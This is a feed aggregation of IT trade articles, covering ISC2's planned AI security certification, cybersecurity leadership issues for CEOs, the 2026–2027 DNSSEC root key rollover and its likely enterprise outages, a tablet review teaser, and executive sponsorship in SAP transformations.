<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Is last year's Samsung Galaxy Tab S10 FE still worth buying? I multi-screened movies, maxed out gaming graphics, and dunked it in a tank to find out]]></title>
<description><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></description>
<link>https://tsecurity.de/de/3691140/it-nachrichten/is-last-years-samsung-galaxy-tab-s10-fe-still-worth-buying-i-multi-screened-movies-maxed-out-gaming-graphics-and-dunked-it-in-a-tank-to-find-out/</link>
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<pubDate>Fri, 24 Jul 2026 11:35:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></content:encoded>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
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<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
